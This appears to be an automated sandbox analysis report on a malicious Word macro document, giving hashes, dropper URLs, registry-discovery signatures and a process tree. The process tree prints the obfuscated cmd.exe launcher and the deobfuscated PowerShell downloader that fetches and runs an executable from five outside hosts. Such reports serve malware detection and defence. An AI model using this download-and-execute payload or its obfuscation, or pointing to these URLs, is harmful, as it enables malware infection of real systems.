c67d226da6e85679f17b75dc0d668fc59ccacd2503b35e5e18a1d8824a140333

General

Target

0bdb04d6ade94309db5aa025d012ac7f_JaffaCakes118.doc
Size

67KB
MD5

0bdb04d6ade94309db5aa025d012ac7f
SHA1

48302c12594e09eb8abe458523cfe04a9741b62e
SHA256

c67d226da6e85679f17b75dc0d668fc59ccacd2503b35e5e18a1d8824a140333
SHA512

7f3af4014ee89882bdfc26d2b4b8b35ad76611ff21307d2b2efa55b4822ff876b867957a98d42da893534e339737bfbb694fd3ead7f0f32fe3c25c8ac0ab19da
SSDEEP

768:UpJcaUitGAlmrJpmxlzC+w99NBC+1on79royxoJ8v:UptJlmrJpmxlRw99NBC+anep

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://develoweb.net/1Fd3

exe.dropper

http://bahiacreativa.com/eu

exe.dropper

http://atlasbackground.com/f0x

exe.dropper

http://adams-moore.com/ep

exe.dropper

http://erush.nl/y

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2964	2868	cmd.exe	84

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2868	WINWORD.EXE
2868	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4500	powershell.exe
4500	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4500	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2868 wrote to memory of 2964	2868	WINWORD.EXE	89
PID 2868 wrote to memory of 2964	2868	WINWORD.EXE	89
PID 2964 wrote to memory of 4500	2964	cmd.exe	91
PID 2964 wrote to memory of 4500	2964	cmd.exe	91

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0bdb04d6ade94309db5aa025d012ac7f_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2868
- C:\Windows\SYSTEM32\cmd.exe
  cmd /V^:O/C"s^e^t ^sN=^ ^ ^ ^ ^ ^ ^ ^}}^{hct^ac}^;^k^a^erb;rVS$^ me^tI^-ek^ovnI;)rVS^$ ^,^PRL^$(^eli^F^da^o^ln^w^oD^.sz^i$^{^yrt^{)Jf^O^$^ n^i^ PR^L$(hc^aer^of^;^'e^x^e.^'+G^sG$+^'\^'^+c^il^b^up^:vn^e^$=rVS$;'522'^ =^ ^Gs^G^$^;)'^@'(^til^p^S^.'^y/ln.^hsur^e//^:^p^tt^h@^p^e/^m^oc.er^oo^m^-s^m^ad^a//:^ptt^h^@x0f/m^oc.dnuorgkca^bs^a^lt^a//^:ptth@^u^e/^m^oc^.^avi^taerca^i^h^ab//^:^pt^t^h^@3^d^F^1/^t^en^.b^ewoleve^d//^:p^t^th^'=^JfO^$^;^tne^ilC^b^e^W^.t^eN^ ^tce^j^bo^-w^en^=^s^zi^$^ l^l^e^hsr^e^w^op&&^f^or /L %c ^in (3^38^;-^1^;0)d^o ^s^e^t 9^w^g=!9^w^g!!^sN:~%c,1!&&^if %c=^=^0 c^a^ll %9^w^g:~-^3^39%"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $izs=new-object Net.WebClient;$OfJ='http://develoweb.net/1Fd3@http://bahiacreativa.com/eu@http://atlasbackground.com/f0x@http://adams-moore.com/ep@http://erush.nl/y'.Split('@');$GsG = '225';$SVr=$env:public+'\'+$GsG+'.exe';foreach($LRP in $OfJ){try{$izs.DownloadFile($LRP, $SVr);Invoke-Item $SVr;break;}catch{}}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ut23zftv.3fb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2868-23-0x000001CE7D7F0000-0x000001CE7DFF0000-memory.dmp

Filesize
8.0MB

Download
memory/2868-68-0x00007FF9337F0000-0x00007FF933800000-memory.dmp

Filesize
64KB

Download
memory/2868-3-0x00007FF973770000-0x00007FF973965000-memory.dmp

Filesize
2.0MB

Download
memory/2868-5-0x00007FF973770000-0x00007FF973965000-memory.dmp

Filesize
2.0MB

Download
memory/2868-4-0x00007FF9337F0000-0x00007FF933800000-memory.dmp

Filesize
64KB

Download
memory/2868-7-0x00007FF973770000-0x00007FF973965000-memory.dmp

Filesize
2.0MB

Download
memory/2868-6-0x00007FF9337F0000-0x00007FF933800000-memory.dmp

Filesize
64KB

Download
memory/2868-8-0x00007FF931080000-0x00007FF931090000-memory.dmp

Filesize
64KB

Download
memory/2868-9-0x00007FF931080000-0x00007FF931090000-memory.dmp

Filesize
64KB

Download
memory/2868-21-0x000001CE7D7F0000-0x000001CE7DFF0000-memory.dmp

Filesize
8.0MB

Download
memory/2868-22-0x000001CE7D7F0000-0x000001CE7DFF0000-memory.dmp

Filesize
8.0MB

Download
memory/2868-2-0x00007FF9337F0000-0x00007FF933800000-memory.dmp

Filesize
64KB

Download
memory/2868-0-0x00007FF9337F0000-0x00007FF933800000-memory.dmp

Filesize
64KB

Download
memory/2868-1-0x00007FF9337F0000-0x00007FF933800000-memory.dmp

Filesize
64KB

Download
memory/2868-24-0x000001CE035D0000-0x000001CE045A0000-memory.dmp

Filesize
15.8MB

Download
memory/2868-42-0x00007FF973770000-0x00007FF973965000-memory.dmp

Filesize
2.0MB

Download
memory/2868-43-0x000001CE7D7F0000-0x000001CE7DFF0000-memory.dmp

Filesize
8.0MB

Download
memory/2868-44-0x000001CE7D7F0000-0x000001CE7DFF0000-memory.dmp

Filesize
8.0MB

Download
memory/2868-45-0x000001CE7D7F0000-0x000001CE7DFF0000-memory.dmp

Filesize
8.0MB

Download
memory/2868-46-0x000001CE035D0000-0x000001CE045A0000-memory.dmp

Filesize
15.8MB

Download
memory/2868-67-0x00007FF9337F0000-0x00007FF933800000-memory.dmp

Filesize
64KB

Download
memory/2868-70-0x00007FF973770000-0x00007FF973965000-memory.dmp

Filesize
2.0MB

Download
memory/2868-66-0x00007FF9337F0000-0x00007FF933800000-memory.dmp

Filesize
64KB

Download
memory/2868-69-0x00007FF9337F0000-0x00007FF933800000-memory.dmp

Filesize
64KB

Download
memory/4500-25-0x000001B4FCD20000-0x000001B4FCD42000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads